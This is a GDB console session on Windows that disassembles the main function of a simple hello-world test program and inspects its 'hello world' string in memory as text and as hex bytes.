Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-pc-mingw32".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from d:\temp\C++11\test.exe...(no debugging symbols found)...don
e.
(gdb) start
Temporary breakpoint 1 at 0x4013b3
Starting program: d:\temp\C++11\test.exe
[New Thread 5348.0x16f4]
Temporary breakpoint 1, 0x004013b3 in main ()
(gdb) disassemble $eip
Dump of assembler code for function main:
0x004013b0 <+0>: push %ebp
0x004013b1 <+1>: mov %esp,%ebp
=> 0x004013b3 <+3>: and $0xfffffff0,%esp
0x004013b6 <+6>: sub $0x10,%esp
0x004013b9 <+9>: call 0x401990 <__main>
0x004013be <+14>: movl $0x403064,(%esp)
0x004013c5 <+21>: call 0x401c10 <printf>
0x004013ca <+26>: mov $0x0,%eax
0x004013cf <+31>: leave
0x004013d0 <+32>: ret
0x004013d1 <+33>: nop
0x004013d2 <+34>: nop
0x004013d3 <+35>: nop
0x004013d4 <+36>: add %al,(%eax)
0x004013d6 <+38>: add %al,(%eax)
0x004013d8 <+40>: add %al,(%eax)
0x004013da <+42>: add %al,(%eax)
0x004013dc <+44>: add %al,(%eax)
0x004013de <+46>: add %al,(%eax)
End of assembler dump.
(gdb) x/sb 0x403064
0x403064 <_Jv_RegisterClasses+4206692>: "hello world"
(gdb) x/12xb 0x403064
0x403064 <_Jv_RegisterClasses+4206692>: 0x68 0x65 0x6c 0x6c 0x6f
0x20 0x77 0x6f
0x40306c <_Jv_RegisterClasses+4206700>: 0x72 0x6c 0x64 0x00
(gdb)